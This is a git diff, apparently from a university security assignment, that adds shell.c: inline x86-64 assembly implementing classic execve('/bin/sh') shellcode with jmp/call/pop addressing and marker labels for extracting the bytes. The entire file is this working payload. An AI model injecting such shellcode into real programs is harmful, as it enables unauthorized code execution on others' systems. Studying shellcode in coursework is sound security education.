diff options
Diffstat (limited to 'CamilStaps-s4498062-Assignment-6/shell.c')
-rw-r--r-- | CamilStaps-s4498062-Assignment-6/shell.c | 14 |
1 files changed, 14 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-6/shell.c b/CamilStaps-s4498062-Assignment-6/shell.c new file mode 100644 index 0000000..6d12e02 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/shell.c @@ -0,0 +1,14 @@ +int main() { + asm("\ +needle0: jmp there\n\ +here: pop %rdi\n\ + xor %rax, %rax\n\ + movb $0x3b, %al\n\ + xor %rsi, %rsi\n\ + xor %rdx, %rdx\n\ + syscall\n\ +there: call here\n\ +.string \"/bin/sh\"\n\ +needle1: .octa 0xdeadbeef\n\ + "); +} |